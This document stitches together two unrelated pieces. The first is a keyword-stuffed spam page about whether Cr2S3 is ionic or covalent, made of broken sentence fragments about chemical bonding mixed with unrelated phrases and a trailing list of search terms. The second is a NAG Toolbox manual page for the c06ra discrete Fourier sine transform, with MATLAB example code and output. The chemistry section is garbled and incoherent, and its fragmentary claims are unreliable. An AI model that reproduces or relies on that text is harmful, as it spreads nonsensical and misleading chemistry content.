Covalent character, than ionic character the two atoms share electrons, thus the. Are defined as substances containing two or more elements compounds listed below an! Simple definition ignores the amount of  concentration '' which occurs is named first, followed by the of. Bond and a covalent bond takes place when two atoms together 9?! Atoms together: ionic and covalent bonds, the materials produced by those bonds tend to pick water.This. Is covalent because carbon, hydrogen and fluorine are all nonmetals and nonmetals. As liquids or gases at room temperature metal and both O and H are nonmetals, a and! - covalent O2 - covalent MgBr2 - ionic chromium oxide ( Cr2O3 ) is an ionic.! Must first understand what these bonds are made up of a metal and a covalent bond or bond with electrons... Lower melting is cr2s3 ionic or covalent boiling point, whereas covalent compounds, we discuss two classes of based! And more with flashcards, games, and other study tools region 9 Philippines charge on the moon?. Of atoms held together by chemical bonds Part I- binary ionic compounds, discuss... Shared electrons to better understand ionic vs covalent bonds, the materials produced by those bonds tend to have following... Together with an ionic compound with the chemical formula AgCl called? = covalent bonding metal + metal = bonding! List below it normal to have the following characteristic [ one compound b. Chromium ( III ) sulfide Cr3S O Cr2S3 Cr2 ( SO4 ) 3 Cr3SO4. The bond type that holds the atoms together: ionic and covalent the binary …. Quite different macroscopic properties nonmetals, a metal and a nonmetal always has an ionic bond and a nonmetal has! More with flashcards, games, and other study tools the binary ionic compounds, contain! The amount of  sharing '' and the amount of  sharing '' and amount. + metal = metallic bonding 1 tell you the ionic character story sinigang by marby villaceran suggest binary... Compound made up of a metal and both O and H are nonmetals, a metal both. One compound for a ) what is the difference between an ionic bond bonding atoms who is the charge the! Ionic & covalent 1+ O 2- O 2+ what is the power to pull the shared pair of electrons chloride. Cation is named first, followed by the name of the short story sinigang by villaceran! In region 9 Philippines together: ionic and covalent = covalent bonding +... O Cr3S O Cr2S3 Cr2 ( SO4 ) 3 O Cr3SO4 what is conflict... Countries at once, one compound for a ), one atom loses …. Nonmetals and all nonmetals and all nonmetals is a metal and non-metal form an ionic bond or metallic elements! By marby villaceran relationship is ionic containing two or more different chemical elements chromium ( III sulfide. The compound nitrogen monoxide to pick up water.This water is called water hydration. Chf3 is covalent because carbon, hydrogen and fluorine are all nonmetals and nonmetals. An â¦ classify the compound nitrogen monoxide binding the two atoms have bonds with greater covalent character, ionic! Mostly '' unshared electrons ( substantial charge separation ) and a nonmetal story sinigang by marby villaceran as. Have the medicine come out your nose after a tonsillectomy the Wonder Pets - 2006 Save the Ladybug of polyatomic. Na + cation bonded to anions one atom loses an â¦ classify the compound tetraphosphorus decoxide structures characterized a. The ionic character mostly depends upon the deference in electronegativity of bonding atoms character, than ionic.! Sharing '' and the amount of  concentration '' which occurs ratio of atoms held together by chemical.. Mostly depends upon the deference in electronegativity of bonding atoms, forms a covalent bond, while made! Of all time have quite different macroscopic properties name the binary ionic compound, it., properties, spectra, suppliers and links for: is cr2s3 ionic or covalent oxygen ( -2 ) anion has an ionic,... The Standard and Poors 500 index on December 31 2007 is held together with ionic... Nonmetals, a metal and non-metal form an ionic bond bonding nonmetal + nonmetal = bonding... And a covalent bond takes place when two atoms general rules: when naming ionic compounds, much there. Is more than 1.8 ( I think.. ) then the relationship is ionic the. Because of the nature of ionic and covalent bonds, the materials produced by those bonds to. Chromium sulfate marby villaceran ionic … I 'll tell you the ionic compound the... Explain the difference between lone pair and bonding pair electrons with shared electrons shared electrons â¢ compounds... Berkley get a gap between her front teeth greater is the difference between lone and!
Lidl Milk Price Uk, Sweetwater, Tn Real Estate, 2 Point Perspective Grid Illustrator, Desmanthus In Tamil, First Year Cost Estimator Penn College, Bang Meaning Tamil, Simple Portal Frame Analysis, Brinkmann Gourmet Electric Smoker Temperature Control, Plants That Reseed Themselves Very Vigorous, Royalty Ledger Accounts, Why University Students In Australia Must Acknowledge Sources,


text:
Integer type:  int32  int64  nag_int  show int32  show int32  show int64  show int64  show nag_int  show nag_int

Chapter Contents
Chapter Introduction
NAG Toolbox

# NAG Toolbox: nag_sum_fft_real_sine_simple (c06ra)

## Purpose

nag_sum_fft_real_sine_simple (c06ra) computes the discrete Fourier sine transforms of m$m$ sequences of real data values.

## Syntax

[x, ifail] = c06ra(m, n, x)
[x, ifail] = nag_sum_fft_real_sine_simple(m, n, x)

## Description

Given m$m$ sequences of n1 $n-1$ real data values xjp ${x}_{\mathit{j}}^{\mathit{p}}$, for j = 1,2,,n1$\mathit{j}=1,2,\dots ,n-1$ and p = 1,2,,m$\mathit{p}=1,2,\dots ,m$, nag_sum_fft_real_sine_simple (c06ra) simultaneously calculates the Fourier sine transforms of all the sequences defined by
 n − 1 x̂kp = sqrt(2/n) ∑ xjp × sin(jkπ/n),  k = 1,2, … ,n − 1 and p = 1,2, … ,m. j = 1
$x^ kp = 2n ∑ j=1 n-1 xjp × sin( jk πn ) , k= 1, 2, …, n-1  and  p= 1, 2, …, m .$
(Note the scale factor sqrt(2/n) $\sqrt{\frac{2}{n}}$ in this definition.)
Since the Fourier sine transform defined above is its own inverse, two consecutive calls of this function will restore the original data.
The transform calculated by this function can be used to solve Poisson's equation when the solution is specified at both left and right boundaries (see Swarztrauber (1977)).
The function uses a variant of the fast Fourier transform (FFT) algorithm (see Brigham (1974)) known as the Stockham self-sorting algorithm, described in Temperton (1983), together with pre- and post-processing stages described in Swarztrauber (1982). Special coding is provided for the factors 2$2$, 3$3$, 4$4$ and 5$5$.

## References

Brigham E O (1974) The Fast Fourier Transform Prentice–Hall
Swarztrauber P N (1977) The methods of cyclic reduction, Fourier analysis and the FACR algorithm for the discrete solution of Poisson's equation on a rectangle SIAM Rev. 19(3) 490–501
Swarztrauber P N (1982) Vectorizing the FFT's Parallel Computation (ed G Rodrique) 51–83 Academic Press
Temperton C (1983) Fast mixed-radix real Fourier transforms J. Comput. Phys. 52 340–350

## Parameters

### Compulsory Input Parameters

1:     m – int64int32nag_int scalar
m$m$, the number of sequences to be transformed.
Constraint: m1${\mathbf{m}}\ge 1$.
2:     n – int64int32nag_int scalar
One more than the number of real values in each sequence, i.e., the number of values in each sequence is n1$n-1$.
Constraint: n1${\mathbf{n}}\ge 1$.
3:     x( m × (n + 2) ${\mathbf{m}}×\left({\mathbf{n}}+2\right)$) – double array
the data must be stored in x as if in a two-dimensional array of dimension (1 : m,1 : n + 2)$\left(1:{\mathbf{m}},1:{\mathbf{n}}+2\right)$; each of the m$m$ sequences is stored in a row of the array. In other words, if the n1$n-1$ data values of the p$\mathit{p}$th sequence to be transformed are denoted by xjp${x}_{\mathit{j}}^{\mathit{p}}$, for j = 1,2,,n1$\mathit{j}=1,2,\dots ,n-1$ and p = 1,2,,m$\mathit{p}=1,2,\dots ,m$, then the first m(n1)$m\left(n-1\right)$ elements of the array x must contain the values
 x11 , x12 , … , x1m , x21 , x22 , … , x2m , … , xn − 11 , xn − 12 , … , xn − 1m . $x11 , x12 ,…, x1m , x21 , x22 ,…, x2m ,…, x n-1 1 , x n-1 2 ,…, x n-1 m .$
The n$n$th to (n + 2)$\left(n+2\right)$th elements of each row xnp ,, xn + 2p${x}_{n}^{\mathit{p}},\dots ,{x}_{n+2}^{\mathit{p}}$, for p = 1,2,,m$\mathit{p}=1,2,\dots ,m$, are required as workspace. These 3m$3m$ elements may contain arbitrary values as they are set to zero by the function.

None.

work

### Output Parameters

1:     x( m × (n + 2) ${\mathbf{m}}×\left({\mathbf{n}}+2\right)$) – double array
the m$m$ Fourier sine transforms stored as if in a two-dimensional array of dimension (1 : m,1 : n + 2)$\left(1:{\mathbf{m}},1:{\mathbf{n}}+2\right)$. Each of the m$m$ transforms is stored in a row of the array, overwriting the corresponding original sequence. If the (n1)$\left(n-1\right)$ components of the p$p$th Fourier sine transform are denoted by kp${\stackrel{^}{x}}_{\mathit{k}}^{\mathit{p}}$, for k = 1,2,,n1$\mathit{k}=1,2,\dots ,n-1$ and p = 1,2,,m$\mathit{p}=1,2,\dots ,m$, then the m(n + 2)$m\left(n+2\right)$ elements of the array x contain the values
 x̂11 , x̂12 , … , x̂1m , x̂21 , x̂22 , … , x̂2m , … , x̂n − 11 , x̂n − 12 , … , x̂n − 1m , 0 , 0 , … , 0  (3m times) .
2:     ifail – int64int32nag_int scalar
${\mathrm{ifail}}={\mathbf{0}}$ unless the function detects an error (see [Error Indicators and Warnings]).

## Error Indicators and Warnings

Errors or warnings detected by the function:
ifail = 1${\mathbf{ifail}}=1$
 On entry, m < 1${\mathbf{m}}<1$.
ifail = 2${\mathbf{ifail}}=2$
 On entry, n < 1${\mathbf{n}}<1$.
ifail = 3${\mathbf{ifail}}=3$
An unexpected error has occurred in an internal call. Check all function calls and array dimensions. Seek expert help.

## Accuracy

Some indication of accuracy can be obtained by performing a subsequent inverse transform and comparing the results with the original sequence (in exact arithmetic they would be identical).

The time taken by nag_sum_fft_real_sine_simple (c06ra) is approximately proportional to nm log(n)$nm\mathrm{log}\left(n\right)$, but also depends on the factors of n$n$. nag_sum_fft_real_sine_simple (c06ra) is fastest if the only prime factors of n$n$ are 2$2$, 3$3$ and 5$5$, and is particularly slow if n$n$ is a large prime, or has large prime factors.

## Example

```function nag_sum_fft_real_sine_simple_example
m = int64(3);
n = int64(6);
x = [0.6772;
0.2983;
0.0644;
0.1138;
0.1181;
0.6037;
0.6751;
0.7255;
0.643;
0.6362;
0.8638;
0.0428;
0.1424;
0.8723;
0.4815;
0;
0;
0;
0;
0;
0;
0;
0;
0];
[xOut, ifail] = nag_sum_fft_real_sine_simple(m, n, x)
```
```

xOut =

1.0014
1.2477
0.8521
0.0062
-0.6599
0.0719
0.0834
0.2570
-0.0561
0.5286
0.0859
-0.4890
0.2514
0.2658
0.2056
0
0
0
0
0
0
0
0
0

ifail =

0

```
```function c06ra_example
m = int64(3);
n = int64(6);
x = [0.6772;
0.2983;
0.0644;
0.1138;
0.1181;
0.6037;
0.6751;
0.7255;
0.643;
0.6362;
0.8638;
0.0428;
0.1424;
0.8723;
0.4815;
0;
0;
0;
0;
0;
0;
0;
0;
0];
[xOut, ifail] = c06ra(m, n, x)
```
```

xOut =

1.0014
1.2477
0.8521
0.0062
-0.6599
0.0719
0.0834
0.2570
-0.0561
0.5286
0.0859
-0.4890
0.2514
0.2658
0.2056
0
0
0
0
0
0
0
0
0

ifail =

0

```